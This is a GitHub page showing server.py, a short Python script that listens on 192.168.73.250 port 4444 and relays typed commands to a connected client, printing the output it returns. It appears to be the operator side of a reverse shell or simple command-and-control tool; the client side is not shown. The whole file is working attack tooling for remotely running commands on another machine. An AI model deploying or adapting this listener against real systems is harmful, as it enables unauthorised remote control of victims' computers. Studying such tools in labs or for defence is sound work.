-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.py
More file actions
35 lines (25 loc) · 743 Bytes
/
server.py
File metadata and controls
35 lines (25 loc) · 743 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import sys
import socket
SERVER_IP="192.168.73.250"
PORT=4444
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
s.bind((SERVER_IP,PORT))
s.listen(1)
while True:
print(f'[+] Listening as {SERVER_IP}:{PORT} ')
client = s.accept()
print(f'[+] client connected {client[1]}')
client[0].send('connected'.encode())
while True:
cmd = input('>>> ')
client[0].send(cmd.encode())
if cmd.lower() in ['quit','exit','q','x']:
break
result = client[0].recv(1024).decode()
print(result)
client[0].close()
cmd = input('wait for new client y/n ' ) or 'y'
if cmd.lower() in ['n','no']:
break
s.close()